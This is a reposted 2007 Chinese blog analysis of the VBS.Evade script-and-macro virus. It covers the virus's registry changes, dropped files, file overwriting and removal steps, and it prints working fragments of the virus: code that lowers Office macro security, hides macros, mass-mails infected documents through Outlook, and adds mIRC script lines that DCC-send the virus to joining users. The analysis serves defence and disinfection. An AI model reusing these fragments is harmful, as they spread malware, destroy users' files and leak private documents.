叛逃者病毒分析(轉)

ba發表於2007-08-12
叛逃者病毒分析(轉)[@more@]國內發現一個混合型指令碼病毒“叛逃者”(VBS.Evade)病毒。該病毒不但感染指令碼檔案、Excel和Word文件,而且還會直接覆蓋一部分音樂、影片及工作文件。與此同時,他還會透過email到處發放已被感染Office文件,造成使用者重要資訊洩露。
因此,該病毒危害性極大。下面就該病毒的工作原理和解決辦法具體分析介紹一下:
一、該病毒的感染特徵
叛逃者病毒屬於vbs指令碼病毒,同時它也具有宏病毒的特徵。當使用者機器被感染這種病毒後,會發生以下變化:
1.對登錄檔的修改
a)新增HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunWinsart,其值為Wscript.exe SysDir Winstart.vbs %1" ,其中SYSDir為使用者的系統目錄。
b)修改
HKEY_LOCAL_MACHINESoftwareMicrosoftXl.Application.Version ExcelSecurityLevel和HKEY_LOCAL_MACHINESoftware
MicrosoftXl.Application.Version ExcelSecurityAcessVBOM為1
c)修改
HKEY_LOCAL_MACHINESoftwareMicrosoft
Wd.Application.VersionExcelSecurityLevel和HKEY_LOCAL_MACHINESoftwareMicrosoftWd.Application.Version ExcelSecurityAcessVBOM為1
d)在
HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/EvadeRecordContacts鍵下面會建立相應的Email傳送結果記錄。
e) 新增鍵值
HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/Evade VBS/Evade.A by Zed[rRlf]
2.新增的檔案
該病毒執行後,會在使用者的windows目錄新增如下兩個病毒體檔案:Netlnk32.vbs,Conversation.vbe;會在使用者的系統目錄新增如下四個病毒體檔案:Winstart.vbs,Wininst32.vbs,Winnt32.vbs,Winnet32.vbs;會在磁碟根目錄(C盤除外)下建立檔案Passwords.vbs。它們都是對病毒本身的完整備份。會在系統目錄新增evade.gif,evade.jpg,這兩個檔案是用來載入到Excel和Word中的病毒檔案副本,它們不同於前面的幾個病毒體檔案。
3.對檔案的修改
如果存在personal.xls檔案,則原有檔案將被刪除,並且建立新的personal.xls檔案;否者,直接建立personal.xls檔案。同時病毒也對Word的模版進行感染。
如果存在MIRC,則修改Script.ini檔案。
4.被感染的檔案型別
病毒會對.vbs,.vbe檔案進行感染,同時也會用病毒體對9個目錄下的所有字尾為.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps的11種資料檔案進行覆蓋。

二、該病毒的技術特點
1.加密
該病毒屬於加密性病毒,並且加密手法與一般病毒不同:一般病毒是整體加密,但是該病毒只是對病毒中的某些關鍵字串進行了加密。叛逃者病毒加密演算法比較簡單,但是由於加密字串是分開的,並且是解密一處,執行一處。這樣就無法整體對這個病毒進行解密。筆者在對這個病毒的部分字串進行解密時專門編寫了一段小程式,這段程式我們在後面具體分析其加解密程式時介紹。
2.指令碼與宏病毒雙重特性
叛逃者病毒在感染vbs,vbe指令碼病毒的同時,也感染了Word模版和Excel的personal.xls檔案。在對Word和Excel進行感染處理,自我保護方面,和宏病毒所採取的手段是一模一樣。可以說該病毒是結合了指令碼與宏的特點。
3.傳播手段多樣化
該病毒用到了幾乎現行所有指令碼病毒曾經用過的傳播方式:檔案感染、Email傳播、IRC通道傳播、各種點對點共享工具傳播(KaZza、Morpheus、 Grokster、 Bearshare、Edonkey),同時也採用了宏病毒的傳播方式:透過模版、文件檔案進行感染。
4.程式碼破壞性極大
病毒不對系統檔案進行任何破壞,但是覆蓋使用者常用的一些寶貴資料如mp3,mpg,avi,Doc,pdf,mdb,ppt等檔案。這種覆蓋是不可逆的,並且病毒在藉助其傳播時並沒有為這些寶貴資料留下副本。
5.洩露使用者資料
同時,病毒還會自動透過email到處傳送使用者的office文件,洩露使用者的資料資訊。這對很對公司來說,內部文件被洩露會造成非常重大的經濟損失或其它不良影響。

三、該病毒執行的大致流程
該病毒流程並不複雜,可以簡單描述如下:
1.複製病毒檔案到使用者windows目錄和系統目錄。
2.修改登錄檔,改變Excel的安全級別
3.寫病毒程式碼到Evade.gif,並將Evade.gif匯入到Personal.xls檔案
4.修改登錄檔,改變Word的安全級別
5.寫病毒程式碼到Evade.jpg,並將該檔案匯入到Word通用模版。
6.搜尋整個磁碟,在每個磁碟機代號(C盤除外)根目錄下建立病毒副本Passwords.vbs
7.感染硬碟上所有.vbs、.vbe檔案
8.對指定9個目錄進行再次搜尋,用病毒檔案覆蓋滿足條件(指定11種字尾)的檔案。
9.如存在Mirc,修改Script.ini,使其可以透過Mirc聊天通道傳送病毒檔案Conversation.vbe。
10.修改登錄檔,標明病毒作者資訊及版本。
透過以上步驟後,Excel和Word已被感染,當使用者對這兩種文件進行操作時,便會觸發執行另外兩段病毒程式碼。另外兩段程式碼我們會在下一部分具體分析,這裡不作介紹。

四、具體程式碼分析
1.主體病毒程式碼
a)加密機制分析
該病毒的解密函式程式碼如下:
Function E0(E1)
For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then 'E3的Ascii碼是否為奇數
E3 = Chr(Asc(E3) - 1) '是
Else
E3 = Chr(Asc(E3) + 1) '不是
EndIf
E0 = E0 & E3 '整合已經處理的字元
Next '繼續,直到整個字串處理完畢End Function
這個函式具有如下作用:對於給出的字串E1,對於E1中的每個字元,如果該字元的Ascii碼X為奇數那麼用Ascii碼值為X-1的字元代替這個字元,否則,用Ascii碼值為X+1的字元代替這個字元。也就是說一個字元要麼用它前面的字元代替,要麼用它後面的字元代替。例如,F的Ascii碼為70,那麼F將被Ascii碼為71的字元G代替,G將被F代替。
那麼對於病毒中的加密字串Rbshquhof/GhmdRxrudlNckdbu,解密後的程式碼就是Scripting.FileSystemObject。
同時,由上面F到G的相互轉換,我們可以發現,一個字元經過該函式兩次處理之後會還原。其實,這個函式也是該病毒的加密函式。
由於該病毒加/解密是對部分字串的,這樣我們在分析這個病毒的樣本時就透過解密函式無法一次還原出所有的加密程式碼。在分析該病毒的過程中,筆者編寫了如下一段小程式進行解密(這段程式碼放在附件中):
Do while inchar<>"dyhu"
inchar=InputBox("請輸入加密字串,結束請輸入exit")
inchar=E0(inchar)
wscript.echo inchar
Loop
Function E0(E1)
For E2 = 1 To Len(E1)
E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then
E3 = Chr(Asc(E3) - 1)
Else
E3 = Chr(Asc(E3) + 1)
EndIf
E0 = E0 & E3
Next
End Function
為了方便大家理解,後面列出的程式碼中的加密字串用解密過的字串代替。

b)對Excel所作的修改
病毒對Excel作修改的程式碼分析如下:
XlKey = "HKCUSoftwareMicrosoftOffice" & Xl.Application.Version & "ExcelSecurity")
wsc.RegWrite XlKey & "Level", 1, "REG_DWORD"wsc.RegWrite XlKey & "AcessVBOM", 1, "REG_DWORD" '這裡是寫入登錄檔,修改Excel的安全等級……
Xl.Visible = False
Xl.WorkBooks.AddXl.ActiveWorkbook.VBProject.VBComponents.Import (fso.GetSpecialFolder(1) & "Evade.gif")
'匯入Evade.gif中的病毒程式碼
Xl.ActiveWorkbook.SaveAs (Xl.Application.StartupPath & "Personal.xls")
'將Evade.gif的內容儲存到Personal.xls檔案
Xl.Quit
可見,透過上面這段程式,病毒將病毒程式碼寫入到了Personal.xls,這樣以後開啟Excel時就會自動執行另外一段病毒程式碼。這段病毒程式碼後面會加以分析。
c)對Word所作的修改
病毒對Word作修改的程式碼分析如下:
WdKey = "HKCUSoftwareMicrosoftOffice" & Wd.Application.Version & "WordSecutiry"wsc.RegWrite WdKey & "Level"), 1, "REG_DWORD")
wsc.RegWrite WdKey & "AccessVBOM", 1, "REG_DWORD")
'這裡是寫入登錄檔,修改Word的安全等級Wd.Options.VirusProtection = False '關閉病毒保護功能
Wd.Options.SaveNormalPrompt = False '自動儲存模版,不給使用者提示
Wd.Options.ConfirmConversions = False '不給出確認資訊……
If Wd.NormalTemplate.VBProject.VBComponents.Item("Evade").Name <> "Evade") Then
Wd.NormalTemplate.VBProject.VBComponents.Import SysDir & "Evade.jpg")
Wd.NormalTemplate.VBProject.VBComponents.Item("Evade")).Name = "Evade")
'將Evade.jpg的內容儲存到Word通用模版
End If
可見,透過上面這段程式,病毒將病毒程式碼寫入到了Word通用模版,這樣以後開啟Word時也會自動執行另外一段病毒程式碼。這段病毒程式碼後面也會加以分析。
d)往Gif,Jpg檔案中寫入病毒主體程式碼時採取的方法
病毒在往evade.gif,evade.jpg檔案中寫入的並不是直接的vbs程式碼,這段vbs程式碼寫入時是透過一段轉換程式碼處理過的,該段程式碼將病毒體的字串轉換為每個字元Ascii碼串(其中Ascii碼以16進製表示)。其具體程式碼分析如下:
For i = 1 To Len(ScriptRead)
Tz = Mid(ScriptRead, i, 1)
Tz = Hex(Asc(Tz))
'取字元的Ascii碼,並將其轉化為16進位制串
If Len(Tz) = 1 Then
'如果該字元的Ascii碼小於等於F,譬如回車換行D,A
Tz = E0("1") & Tz
'在字元前面加0,譬如,將D轉換為0D,補足兩個字元,便於後面逆向處理
End If
Gz = Gz + Tz '整合處理過的字元
If Len(Gz) = 110 Then
'如果處理的字串達到110個字元(其實是55個字元,因為一個字元轉換成16進位制Ascii碼後是兩位)
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) '將處理過的110個字元寫入檔案,實際寫到檔案的是字串Tz=Tz+"處理過的110個字元"
Gz = E0("") '將Gz清空,以便繼續處理
EndIf
If Len(ScriptRead) - i = 0 Then '如果所有字元已經處理完
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) '將剩餘處理過的字串寫入檔案
Gz = E0("") '將Gz清空
End If
Next

e)病毒的感染部分
叛逃者病毒會對整個磁碟進行搜尋,尋找滿足條件的檔案,其搜尋程式碼和愛蟲病毒的搜尋程式碼基本上是一模一樣,同樣是搜尋到每個磁碟機代號後,先檢查該磁碟機代號是否軟磁碟或硬碟,如果是則對其進行遞迴、搜尋每個資料夾,查詢每個滿足條件的檔案,由於版面關係這裡不再列出具體程式碼。不過這段搜尋程式碼在找到C盤後,會在磁碟(C盤除外)根目錄下建立一個名為passwords.vbs的病毒副本,這個檔名誘惑使用者雙擊該檔案,執行病毒程式碼。相關程式碼如下:
If UCase(NetDrive.Path) <> "C:" Then
fso.CopyFile WScript.ScriptFullName, NetDrive.Path & "Passwords.vbs")
End If
病毒為了避免反覆感染同一個檔案,會先檢視該檔案中是否含有病毒標記" ' VBS/Evade by Zed /[rRlf]",如果存在則不對其進行感染。這裡病毒並沒有對目標檔案進行覆蓋,而是將病毒程式碼寫在了原來檔案的末尾,並且這裡寫入的也是轉換成16進位制Ascii碼後的病毒程式碼,緊接其後病毒寫入了逆向轉換程式碼和呼叫執行語句。
另外,病毒還會對指定9個目錄:
C:KazaaMy Shared Folder
C:My Downloads
C:ProgramFiles%KazaaMy Shared Folder
C:ProgramFiles%KaZaA LiteMy Shared Folder
C:ProgramFiles%BearshareShared
C:ProgramFiles%Edonkey2000
C:ProgramFiles%MorpheusMy Shared Folder
C:ProgramFiles%GroksterMy Gorkster
C:ProgramFiles%ICQShared Files
進行搜尋,並對.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps等13種資料檔案,進行覆蓋:先建立一個以原檔名為字首,vbs為字尾的病毒檔案副本。然後,刪除原來的檔案。這樣,使用者在看到這些檔案後,會以為這些檔案是使用者原來的檔案而去雙擊它。這樣病毒就得到了控制權。以上9個目錄是網上進行檔案共享時的預設目錄,如果病毒覆蓋了這些病毒中的檔案,其它網路使用者就會下載這些檔案,這樣病毒就得以廣泛傳播。這裡不列出具體程式碼分析。

f)利用Mirc進行傳播
叛逃者病毒可以利用Mirc聊天通道進行傳播,他修改script.ini檔案,使得Mirc會自動向通道中的其他好友傳送病毒檔案。病毒依次查詢如下四個目錄:
C:Mirc
C:Mirc32
Mirc
Mirc32
如果發現這些目錄,則在該目錄中新增或修改檔案Script.ini,並在其中寫入一些控制指令。這些指令可以自動往通道中的其他使用者傳送病毒檔案。新增的指令如下:
;Mirc Scripting utility –do not modify
[Script]
n5=no 1:Join:# ;{
n6=/if ($nick= =$me) {halt}
n7=/msg $nick Remember this funny conversation I had on IRC?
n8=/dcc send –c $nick WinDir Conversation.vbe
n9=}
2.兩個“圖片”檔案的程式碼分析
a)evade.gif檔案
該檔案是要被匯入到personal.xls檔案中的病毒副本。該病毒副本首先修改Excel安全等級,並建立一個Auto_Open函式,該函式只有一條呼叫osaEvade過程的語句。OsaEvade是病毒發作部分。我們知道Auto_Open函式在使用者開啟文件時是會自動執行的。這樣,每次開啟Excel文件時,病毒就會獲得控制權。這也是宏病毒常用的手段。同時,病毒還做了一些基本的隱蔽措施,如下所示:
Application.ScreenUpdating = False '不讓螢幕更新,讓病毒執行時不影響計算機速度
Application.DisplayAlerts = False '不讓Excel彈出報警資訊
Application.EnableCancelKey = xlDisabled '使不可以透過Esp鍵取消正在執行的宏Application.DisplayStatusBar = False '不顯示狀態列,以免暴露病毒的執行情況
同時,病毒還會檢查相應目錄下是否存在personal.xls,Winstart.vbs,如果不存在,馬上以evade.gif檔案為樣本建立這兩個檔案。
在這個檔案中最重要的一個步驟就是從當前outlook中的電話簿中找到email地址,併傳送帶毒office文件。部分程式碼分析如下:
EmailKey = "HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/EvadeRecordContacts"
ReadIfSent = wsc.RegRead(EmailKey & ContactSwitch.AddressEntries(UserGroup)) '從登錄檔中讀取資訊,看是否已向該郵件地址傳送過?
If ReadIfSent <> "File Sent" Then '如果沒有傳送過,則繼續
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup) '收件人
OutlookEmail.Subject = L6 '郵件標題,該標題是從7個標題中隨機選取的
OutlookEmail.Body = "The file I am sending you is confidential as well as important; so don't let anyone else have a copy." '郵件內容
OutlookEmail.Attachments.Add ActiveWorkbook.FullName '郵件附件,這裡貼上的是染毒的office文件,因此會造成檔案洩露
OutlookEmail.Importance = 2 '檔案重要等級
OutlookEmail.DeleteAfterSubmit = True '傳送後自我刪除
OutlookEmail.Send '傳送郵件
wsc.RegWrite EmailKey & ContactSwitch.AddressEntries(UserGroup), "File Sent" '在登錄檔中記錄,以免重複傳送
End If

另外該檔案中含有一個非常重要的轉換函式,前面講過主病毒檔案被寫入到這個檔案時是經過Ascii碼轉換的。要讓這段程式碼寫入到Winstart.vbs中能執行,這裡就需要對其做恢復轉換。這個函式如下所示:
Function CM(CN)For GC = 1 To Len(CN) Step 2 '以兩個字元為單位,因為一個字元轉換成10進位制Ascii碼後時為兩個字元 CM = CM & Chr("&h" & Mid(CN, GC, 2)) '譬如A的Asii碼為65,轉換為16進製為41,這裡就是將41轉換成字元ANextEnd Function

b)evade.jpg檔案
這個檔案開始是用於匯入到Word通用模版的。該病毒副本同樣修改了Word安全等級,並建立了AutoClose,AutoOpen,ViewVBCode,Evade過程。其中,Evade過程中是病毒表現程式碼。前兩個在Word關閉,開啟檔案時會自動執行,並且這兩個過程均呼叫了Evade過程。這裡ViewVBCode過程中沒有任何語句,這樣,當使用者按ALT+F8後就不會調出宏編輯視窗,而是不做任何動作。這從某種程度上保護了病毒程式不被他人分析。
另外,和evade.gif檔案一樣,病毒也做了一些基本的隱蔽措施,如下所示:
Application.DisplayStatusBar = 0 '不顯示狀態列,以免暴露病毒的執行情況
Application.ScreenUpdating = 0 '不讓螢幕更新,讓病毒執行時不影響計算機速度
Application.EnableCancelKey = wdCancelDisabled '使不可以透過Esp鍵取消正在執行的宏
Application.DisplayAlerts = wdAlertsNone '不讓Excel彈出報警資訊
CommandBars("Tools").Controls("Macro").Enabled = 0 '遮蔽工具選單中的“宏”
CommandBars("Macro").Controls("Security...").Enabled = 0 '遮蔽宏選單的“安全性…”
CommandBars("Macro").Controls("Macros...").Enabled = 0 '遮蔽宏選單的“宏…”
CommandBars("Tools").Controls("Customize...").Enabled = 0 '遮蔽工具選單的“自定義…”
CommandBars("View").Controls("Toolbars").Enabled = 0 '遮蔽檢視宏選單的“工具欄”
CommandBars("format").Controls("Object...").Enabled = 0 '遮蔽格式選單的“物件”
這樣,病毒透過這些設定就可以防止使用者透過對word進行一些設定檢視和解除宏病毒程式碼。
另外,其它部分和evade.gif檔案功能基本上一樣。該檔案同樣含有email傳送程式碼和恢復轉換函式,並且原理一模一樣,這裡不在具體敘述。
五、如何解除這種病毒
由於叛逃者病毒不僅感染了vbs指令碼檔案、覆蓋了其它型別的檔案,同時也感染了Word,Excel,因此該病毒在解除過程中不得執行指令碼檔案,也不得對Word,Excel進行操作。
下面簡要談一下這個病毒的解除思路:
1.按照上面所提到的部分刪除或者改回被修改過的登錄檔鍵值。
2.刪除上面提到的9個目錄中的所有被感染檔案、evade.gif、evade.jpg、Personal.xls,Passwords.vbs。還有windows和系統目錄下的5個vbs、1個vbe檔案。
3.查詢被感染的vbe,vbs檔案,編輯,並刪除檔案後面的病毒程式碼。
4.對Excel和Word進行解毒,並且還要殺除已被感染文件中的病毒。
5.如果有Mirc,還需修改Script.ini檔案,刪除後來新增的幾個命令列。
上面有些步驟比較複雜,建議一般使用者採用防毒軟體進行防毒。

後記:叛逃者病毒並沒有採用什麼新穎的技術,特別是宏病毒部分已經是非常古老原始的技術了,但是該病毒卻完全不顧及使用者寶貴資料和隱私,破壞性極大,這不得不讓我們為此擔憂。筆者認為,一個真正的好病毒,是會盡量避免造成破壞的,筆者衷心希望以後這種沒有任何美感的低劣病毒不會反覆出現。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-950708/,如需轉載,請註明出處,否則將追究法律責任。

相關文章